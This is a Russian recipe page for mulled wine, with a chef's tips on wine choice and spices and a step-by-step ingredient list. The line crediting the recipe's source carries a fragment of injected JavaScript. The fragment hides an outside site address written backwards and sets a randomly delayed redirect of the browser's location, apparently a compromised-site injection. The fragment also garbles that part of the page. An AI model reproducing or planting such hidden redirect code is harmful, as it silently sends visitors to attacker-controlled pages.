Ефим Дьяченко, повар кулинарной мастерской Just Cook, рассказывает, как приготовить прекрасный зимний напиток.
— Для классического глинтвейна лучше всего использовать именно красное вино. Белые и розовые вина слишком уксусные, они сделают напиток очень кислым. Ну и сладкое вино тоже не советую использовать — тогда глинтвейн получится очень сладким.
При приготовлении глинтвейна главное его не варить. Лучше вообще его не доводить до кипения, иначе выпарится весь алкоголь. Если хотите, чтобы напиток получился насыщенный и пряный, смешайте ингредиенты и дайте глинтвейну настояться полчаса — в вине смешаются ароматы фруктов и специй и получится что-то невероятное.
В любом рецепте глинтвейна обязательно должны быть специи — корица, гвоздика. Остальное добавляете по вкусу. В своём, например, я использую даже изюм — он придаёт напитку необычный аромат и вкус. Если вы не пьёте алкоголь, замените вино соком. Вишнёвый, виноградный, гранатовый, яблочный, сливовый — подойдёт любой, главное — берите тот, в котором меньше всего сахара.
Согревающий глинтвейн
Фото: elle.de
Рецепт дня: согревающий глинтвейн
СЛОЖНОСТЬ РЕЦЕПТА:
ВРЕМЯ ПРИГОТОВЛЕНИЯ:
1 ЧАС
КОЛИЧЕСТВО ПОРЦИЙ:
4
КАЛОРИЙНОСТЬ:
не указана
0 calories
Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru
PT1H
PT1H
Ингредиенты
Красное сухое вино
750 мл
корица
2 палочки
гвоздика
4 шт.
корень имбиря
кусочек размером 2 см
апельсины
4-5 шт.
изюм без косточек
2 ст. л.
сахар
1 ст. л.
яблоко
4 дольки
душистый перец горошком
1 шт.
стручки кардамона
3 шт.
- Вымойте апельсины. Снимите с них цедру и выжмите сок. Нарежьте корень имбиря. Промойте изюм.
- Влейте в сотейник стакан воды, разведите в ней сахар. Добавьте туда специи (корицу, гвоздику, имбирь, перец и кардамон), цедру и изюм и поставьте на огонь. Варите около пяти минут.
- Влейте в сотейник апельсиновый фреш, вино, добавьте яблоки и держите смесь на огне до тех пор, пока глинтвейн не станет горячим (от него пойдёт пар).
- Снимите с огня, накройте крышкой и оставьте настаиваться полчаса.
- Перед подачей подогрейте глинтвейн и процедите.
